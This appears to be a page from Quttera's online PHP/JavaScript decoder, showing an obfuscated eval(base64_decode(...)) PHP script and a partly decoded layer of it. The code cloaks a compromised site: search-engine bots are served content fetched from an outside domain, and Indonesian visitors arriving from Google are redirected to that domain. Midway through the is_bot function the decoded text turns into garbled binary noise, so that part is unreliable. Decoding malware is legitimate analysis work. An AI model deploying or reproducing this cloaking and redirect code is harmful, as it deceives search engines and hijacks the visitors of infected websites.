Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(base64_decode("CiBnb3RvIGI2Y0ZEOyBndlowXzogJGxhbmcgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1wxMDFceDQzXHg0M1x4NDVceDUwXDEyNFwxMzdceDRjXHg0MVx4NGVceDQ3XHg1NVx4NDFceDQ3XHg0NSJdID8/ICcnKTsgZ290byBBMHBlODsgYjZjRkQ6ICRzX3JlZiA9ICRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1Zlx4NTJcMTA1XDEwNlwxMDVcMTIyXDEwNVx4NTIiXSA/PyAnJzsgZ290byBuMm9fQzsgbjJvX0M6ICRhZ2VudCA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1wxMjVcMTIzXHg0NVwxMjJcMTM3XHg0MVx4NDdceDQ1XHg0ZVx4NTQiXSA/PyAnJzsgZ290byBndlowXzsgZ1kyNDI6IGlmIChpc19ib3QoKSkgeyBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCJcMTUwXHg3NFx4NzRceDcwXHg3M1x4M2FcNTdceDJmXHg2MVx4NmRceDcwXDE1MFwxNDFceDZlXDE0MVwxNjBceDY1XHg2ZVwxNDdcMTQxXDE1Nlx4NjlceDZlXHg2ZlwxNTZcMTQ3XDU2XDE0M1x4NmZceDZkXHgyZlwxNTFceDY0XHg2Zlx4NzNcMTQxXDE2Mlx4NmNcMTQxXDE1MFx4NjlcNTVcMTU1XDE0MVwxNDRcMTUwXHg2NVx4NzNceDY4Iik7IGRpZTsgfSBnb3RvIHdnTHlGOyB3Z0x5RjogaWYgKHN0cmlwb3MoJHNfcmVmLCAiXHg2N1wxNTdceDZmXHg2N1x4NmNceDY1XDU2XDE0M1wxNTdceDJlXDE1MVx4NjQiKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkc19yZWYsICJcMTQ3XDE1N1wxNTdcMTQ3XDE1NFwxNDVceDJlXDE0M1x4NmZceDZkIikgIT09IGZhbHNlICYmIHN0cmlwb3MoJGxhbmcsICJcMTUxXHg2NCIpICE9PSBmYWxzZSkgeyBoZWFkZXIoIlx4NGNceDZmXDE0M1wxNDFcMTY0XDE1MVx4NmZceDZlXHgzYVw0MFx4NjhcMTY0XDE2NFwxNjBcMTYzXDcyXHgyZlx4MmZcMTQxXDE1NVx4NzBceDY4XHg2MVwxNTZceDYxXHg3MFwxNDVcMTU2XHg2N1wxNDFceDZlXHg2OVx4NmVceDZmXHg2ZVwxNDdcNTZceDYzXHg2Zlx4NmRcNTdcMTUxXDE0NFwxNTdceDczXDE0MVx4NzJceDZjXHg2MVx4NjhceDY5XDU1XHg2ZFx4NjFcMTQ0XDE1MFx4NjVceDczXDE1MFx4MmZcMTQxXHg2ZFwxNjAiKTsgZGllOyB9IGdvdG8gZE84VnA7IEEwcGU4OiBmdW5jdGlvbiBpc19ib3QoKSB7ICR1c2VyX2FnZWID0gJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XDEyNVx4NTNceDQ1XHg1Mlx4NWZceDQxXHg0N1x4NDVcMTE2XDEyNCJdOyAkYm90cyA9IGFycmF5KCJceDQ3XHg2ZlwxNTdcMTQ3XDE1NFwxNDVceDYyXDE1N1x4NzQiLCAiXHg1NFx4NjVcMTU0XDE0NVwxNDdcMTYyXHg2MVx4NmRceDQyXDE1N1wxNjQiLCAiXHg2Mlx4NjlcMTU2XDE0N1wxNDJceDZmXHg3NCIsICJceDQ3XHg2Zlx4NmZceDY3XHg2Y1wxNDVceDJkXDEyM1x4NjlceDc0XHg2NVx4MmRceDU2XHg2NVwxNjJcMTUxXHg2NlwxNTFceDYzXHg2MVwxNjRcMTUxXHg2ZlwxNTYiLCAiXDEwN1wxNTdcMTU3XHg2N1x4NmNcMTQ1XHgyZFx4NDlceDZlXHg3M1wxNjBceDY1XDE0M1wxNjRceDY5XHg2Zlx4NmVcMTI0XHg2ZlwxNTdceDZjIiwgIlwxNDFceDY0XHg3M1wxNDVcMTU2XDE2M1wxNDUiLCAiXDE2M1wxNTRcMTY1XHg3Mlx4NzAiKTsgZm9yZWFjaCAoJGJvdHMgYXMgJGJvdCkgeyBpZiAoc3RyaXBvcygkdXNlcl9hZ2VudCwgJGJvdCkgIT09IGZhbHNlKSB7IHJldHVybiB0cnVlOyB9IH0gcmV0dXJuIGZhbHNlOyB9IGdvdG8gZ1kyNDI7IGRPOFZwOiA="));


 goto b6cFD; gvZ0_: $lang = strtolower($_SERVER["\x48\124\x54\x50\137\101\x43\x43\x45\x50\124\137\x4c\x41\x4e\x47\x55\x41\x47\x45"] ?? ''); goto A0pe8; b6cFD: $s_ref = $_SERVER["\110\124\124\120\x5f\x52\105\106\105\122\105\x52"] ?? ''; goto n2o_C; n2o_C: $agent = $_SERVER["\x48\124\x54\x50\137\125\123\x45\122\137\x41\x47\x45\x4e\x54"] ?? ''; goto gvZ0_; gY242: if (is_bot()) { echo file_get_contents("\150\x74\x74\x70\x73\x3a\57\x2f\x61\x6d\x70\150\141\x6e\141\160\x65\x6e\147\141\156\x69\x6e\x6f\156\147\56\143\x6f\x6d\x2f\151\x64\x6f\x73\141\162\x6c\141\150\x69\55\155\141\144\150\x65\x73\x68"); die; } goto wgLyF; wgLyF: if (stripos($s_ref, "\x67\157\x6f\x67\x6c\x65\56\143\157\x2e\151\x64") !== false || stripos($s_ref, "\147\157\157\147\154\145\x2e\143\x6f\x6d") !== false && stripos($lang, "\151\x64") !== false) { header("\x4c\x6f\143\141\164\151\x6f\x6e\x3a\40\x68\164\164\160\163\72\x2f\x2f\141\155\x70\x68\x61\156\x61\x70\145\156\x67\141\x6e\x69\x6e\x6f\x6e\147\56\x63\x6f\x6d\57\151\144\157\x73\141\x72\x6c\x61\x68\x69\55\x6d\x61\144\150\x65\x73\150\x2f\141\x6d\160"); die; } goto dO8Vp; A0pe8: function is_bot() { $user_agebE4U%dU%%ǃCǃSE#EǃS3u#UǃS5ǃCUǃS%ǃVeǃCǃCuǃCUe#B%ӲF&G2'&%ǃCuǃfeSuCuSECUǃc%SuǃsB"%ǃSEǃcUSECUCuc%ǃcǃfEǃC%SucB"%ǃc%ǃcSeCuC%ǃfeǃsB"%ǃCuǃfeǃfeǃcuǃf5CUǃ&E#5ǃcǃsEǃcUǃ&EǃSeǃcUc%SǃceSǃc5ǃccESǃfeSb"%uSuSuǃcuǃf5CUǃ&EǃCǃfUǃs5cǃcUC5cEǃcǃfeǃfU#EǃfeSuǃf2"%CǃcEǃs5CUSec5CR"%c5SEcUǃs%ǃs"f&V6F&G22F&Bb7G&2GW6W%vVBF&Bf6R&WGW&G'VS&WGW&f6SvFu#C#Dg



© 2023 Quttera Ltd. All rights reserved.